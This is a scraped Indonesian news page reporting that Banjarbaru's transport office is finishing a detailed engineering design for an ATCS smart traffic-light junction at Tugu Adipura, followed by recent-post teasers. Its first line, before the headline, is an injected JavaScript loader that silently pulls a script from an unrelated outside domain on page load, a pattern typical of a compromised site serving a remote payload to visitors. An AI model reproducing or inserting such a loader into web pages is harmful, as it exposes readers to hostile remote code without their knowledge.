(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian


KANALKALIMANTAN.COM, BANJARBARU – Rancang bangun rinci atau Detail Engineering Design (DED) pemasangan Area Traffic Control System (ATCS) Tugu Adipura Jalan Ahmad Yani Km 34,500 Banjarbaru, masih dalam proses penyempurnaan kajian.

Kepala Dinas Perhubungan (Dishub) Kota Banjarbaru, Muhammad Mirhansyah mengatakan, sesuai rencana akan dibuat persimpangan antar Jalan Ahmad Yani -jalan nasional- dengan Jalan Pangeran Suriansyah -jalan kota- dengan pememasangan ATCS berupa smart APILL atau Alat Pemberi Isyarat Lalu Lintas.

“Untuk ATCS Jalan Pangeran Suriansyah dengan Jalan Ahmad Yani saat ini sedang dalam kajian detail engineering design. DED-nya masih 80 persen,” ujar Mirhansyah.

Baca juga: Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong

Kepala Dinas Perhubungan Kota Banjarbaru, Muhammad Mirhansyah. Foto : wanda

Lebih lanjut dijelaskan Mirhan -biasa disapa-, jika pengkajian itu selesai, maka pembangunan juga masih harus menunggu perizinan dari Balai Pelaksanaan Jalan Nasional (BPJN) Kalsel dan Balai Pengelola Transportasi Darat (BPTD) Kelas II Kalsel.

“Setelah itu kita laksanakan pemilihan penyedia dan lainnya, termasuk masalah izin,” sebut dia.

Proses perizinan dan kordinasi antar BPJN dengan BPTD sangat penting, sebab nantinya ada beberapa median jalan nasional yang harus dibongkar untuk pembangunan ATCS dan persimpangan.

“Dan kemungkinan juga ada sejumlah u-turn yang harus kita kurangi dengan dibuatnya persimpangan itu,” jelas Mirhan.

Baca juga: SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

“Jadi jalan itu efektif dengan tidak banyak u-turn atau titik perputaran, sehingga hambatan itu juga berkurang,” sambungnya.

Melalui sistem manajemen lalulintas berbasis ATCS, dijelaskan Kadishub Banjarbaru, nantinya akan melihat titik persimpangan mana prioritas untuk mengurangi potensi kemacetan, serta meningkatkan kinerja lalulintas akibat adanya peningkatan volume kendaraan.

“ATCS akan mengatur lamanya lampu merah dan lampu hijau supaya bisa efektif, jadi tidak mesti lampu itu harus sama detiknya, ada beberapa detik yang lebih cepat di Jalan Ahmad Yani atau lebih cepat di Jalan Pangeran Suriansyah,” tandasnya.

Baca juga: Ragam Kerajinan Rotan Merah Mejeng di Expo HUT ke-44 Dekranas

Tak hanya melibatkan BPJN dan BPTD Kalsel, pada rencana pembangunan ATCS dan persimpangan itu, Dishub Banjarbaru turut menggandeng Dinas PUPR, Disperkim, DLH dan Disdagperin Kota Banjarbaru. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

3 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

5 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

5 jam ago

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan

KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More

5 jam ago

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

6 jam ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

18 jam ago

This website uses cookies.